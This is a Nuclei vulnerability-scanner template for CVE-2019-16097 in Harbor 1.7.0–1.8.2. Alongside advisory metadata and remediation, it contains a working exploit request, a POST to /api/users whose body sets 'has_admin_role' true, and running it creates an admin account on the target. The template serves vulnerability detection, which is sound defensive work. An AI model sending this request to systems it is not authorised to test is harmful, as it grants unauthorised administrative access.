nuclei-templates/http/cves/2019/CVE-2019-16097.yaml

56 lines
2.1 KiB
YAML

id: CVE-2019-16097
info:
name: Harbor <=1.82.0 - Privilege Escalation
author: pikpikcu
severity: medium
description: Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration.
remediation: Upgrade to v1.7.6 v1.8.3. v.1.9.0 or higher. A potential workaround without applying the fix is to configure Harbor to use a non-DB authentication backend such as LDAP.
reference:
- https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
- https://github.com/goharbor/harbor/issues/8951
- https://nvd.nist.gov/vuln/detail/CVE-2019-16097
- https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517
- http://www.vmware.com/security/advisories/VMSA-2019-0015.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
cvss-score: 6.5
cve-id: CVE-2019-16097
cwe-id: CWE-862
epss-score: 0.96909
epss-percentile: 0.99619
cpe: cpe:2.3:a:linuxfoundation:harbor:1.7.0:-:*:*:*:*:*:*
metadata:
max-request: 1
vendor: linuxfoundation
product: harbor
tags: cve,cve2019,intrusive,harbor
http:
- method: POST
path:
- '{{BaseURL}}/api/users'
body: |
{"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "testpoc@interact.sh", "realname": "poc"}
headers:
Content-Type: application/json
matchers-condition: and
matchers:
- type: word
part: response
words:
- "username has already been used"
- "Location: /api/users/"
condition: or
- type: status
status:
- 201
- 409
condition: or
# digest: 4b0a00483046022100dcb4d0639300e7a4e3f138636c61e9b1c0feeb2e6ed09cedbc7e69d793e64abe0221009c60693754b06841bd61befd6e688bf57b6af178e4bd7ed46e7b40f1ba1b1d3e:922c64590222798bb761d5b6d8e72950